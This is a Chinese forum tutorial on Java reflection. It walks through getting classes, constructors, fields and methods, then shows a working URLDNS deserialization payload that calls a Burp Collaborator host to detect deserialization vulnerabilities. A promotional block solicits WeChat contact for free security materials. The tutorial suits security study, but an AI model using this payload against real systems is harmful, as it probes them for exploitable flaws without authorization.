实例解析Java反射

打印 上一主题 下一主题

主题 909|帖子 909|积分 2727

反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。
什么是反射

java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。
基本形式
  1. public void execute(String className, String methodName) throws Exception {
  2. Class clazz = Class.forName(className);
  3. clazz.getMethod(methodName).invoke(clazz.newInstance());
  4. }
复制代码
上面的例子中,我演示了几个在反射里极为重要的方法:获取类的方法: forName实例例化类对象的方法: newInstance获取函数的方法: getMethod执行函数的方法: invoke
反射的作用:

让Java具有动态性,修改已有对象的属性,动态生成对象,动态调用方法,操作内部类和私有方法
在反序列化漏洞中的应用

定制需要的对象,通过invoke调用除了同名函数以外的函数,通过class类创建对象,引入不能序列化的类
java反射举例

此处引用白日梦组长的例子,具体讲解一下反射。
先写一个Person作为我们下面演示的原型类
  1. public class Person {
  2.     private String name;
  3.     public int age;
  4.     public void act(){
  5.         System.out.println("test");
  6.     }
  7.     @Override
  8.     public String toString() {
  9.         return "Persion{" +
  10.                 "name='" + name + '\'' +
  11.                 ", age=" + age +
  12.                 '}';
  13.     }
  14.     public String getName() {
  15.         return name;
  16.     }
  17.     public void setName(String name) {
  18.         this.name = name;
  19.     }
  20.     public int getAge() {
  21.         return age;
  22.     }
  23.     public void setAge(int age) {
  24.         this.age = age;
  25.     }
  26.     public Person() {
  27.     }
  28.     public Person(String name, int age) {
  29.         this.name = name;
  30.         this.age = age;
  31.     }
  32. }
复制代码
获取原型类

使用forName方法
  1. Class c = Class.forName("Person");
复制代码
在此也写一种基于ClassLoader的动态类加载方式
  1. this.getClass().getClassLoader().loadClass("Person");
复制代码
从原型class里面实例化对象

利用构造函数实例化
  1. Constructor constructor = c.getConstructor(String.class,int.class);
  2. Person p1 = (Person) constructor.newInstance("abc",22);
复制代码
我们来逐行写一下分析
  1. Constructor constructor = c.getConstructor(String.class,int.class);
复制代码
  1. <br>这一行是为了获取原型类中重载的构造方法<br>
复制代码
  1. public Person(String name, int age) {
  2.     this.name = name;
  3.     this.age = age;
  4. }
复制代码
  1. 对构造方法进行传参实例化一个对象<br>
复制代码
  1. Person p1 = (Person) constructor.newInstance("abc",22);
复制代码
  1. 我们可以打印一下p1看一下返回结果
复制代码

获取类里面的属性
  1. private String name;
  2. public int age;
复制代码
public
  1. Field ageField = c.getField("age");
  2. ageField.set(p1,11);
复制代码

private
  1. Field nameField = c.getDeclaredField("name");
  2. nameField.setAccessible(true);
  3. nameField.set(p1,"xinyuan");
复制代码

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
获取类方法
  1. Method actmethod = c.getMethod("act",String.class);
  2. actmethod.invoke(p1,"SKyMirror");
复制代码
getMethod 与上面的获取构造函数类似,第一个参数是函数名,第二个是传参的类型
invoke方法第一个传入对象,第二个是传入参数值

利用URLDNS(反射)

这条链子算是反射的一个简单应用。
利用点

URL这个类重写了hashCode方法,导致在执行hashCode的时候,此利用点不能命令执行,但是会请求DNS,所以被用来验证是否存在反序列化漏洞。
源码如下:


可以看到当我们调用一次hashCode方法,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。
URL这个类实现了java.io.Serializable,可以进行序列化的操作。

因此,在这里我们可以验证一下我们上面的想法。


链子

这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法
HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法

我们跟进一下hash方法

key参数可控,key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象,即可在反序列化的时候调用到此方法,从而触发整个链子。
有一点需要注意,我们在序列化的时候,进行的put传参会修改掉传入的URL对象的hashCode的值,因为hashCode值不等于-1,从而导致无法正常触发下面的方法,即无法触发DNS请求。

同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1,在反序列化的时候就可以正常执行了。
payload如下
  1. public static void main(String[] args) throws Exception{
  2. HashMap <URL,Integer> hashMap = new HashMap<>();
  3. URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
  4. Class c = u.getClass();
  5. //在进行put方法传参之前修改URL对象的hashCode值
  6. Field hashcodeField = c.getDeclaredField("hashCode");
  7. hashcodeField.setAccessible(true);
  8. hashcodeField.set(u,123);
  9. hashMap.put(u,123);
  10. //修改URL对象的hashCode值为-1
  11. hashcodeField.set(u,-1);
  12. serialize(hashMap);
  13. }
复制代码
 更多靶场实验练习、网安学习资料,请点击这里>>
搜索
复制

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

伤心客

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表